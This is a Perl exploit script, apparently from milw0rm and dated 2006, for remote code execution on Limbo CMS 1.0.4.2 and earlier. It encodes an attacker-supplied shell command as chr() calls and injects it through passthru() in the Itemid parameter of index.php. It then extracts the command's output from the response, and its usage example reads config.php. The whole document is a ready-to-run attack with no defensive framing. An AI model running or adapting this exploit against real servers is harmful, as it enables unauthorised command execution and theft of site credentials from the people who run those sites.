#!/usr/bin/perl ## ## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit ## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl ## /str0ke (milw0rm.com) use LWP::Simple; $serv = $ARGV[0]; $path = $ARGV[1]; $command = $ARGV[2]; $cmd = "echo start_er;". "$command;". "echo end_er"; my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); sub usage { print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)"; print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n"; print "sever - URL\n"; print "path - path to limbo\n"; print "command - command to execute\n"; exit (); } sub exploit { print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n); $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path); my $content = get "$URL"; if ($content =~ m/start_er(.*?)end_er/ms) { my $out = $1; $out =~ s/^\s+|\s+$//gs; if ($out) { print "$out\n"; } } } if (@ARGV != 3){&usage;}else{&exploit;} # milw0rm.com [2006-03-01]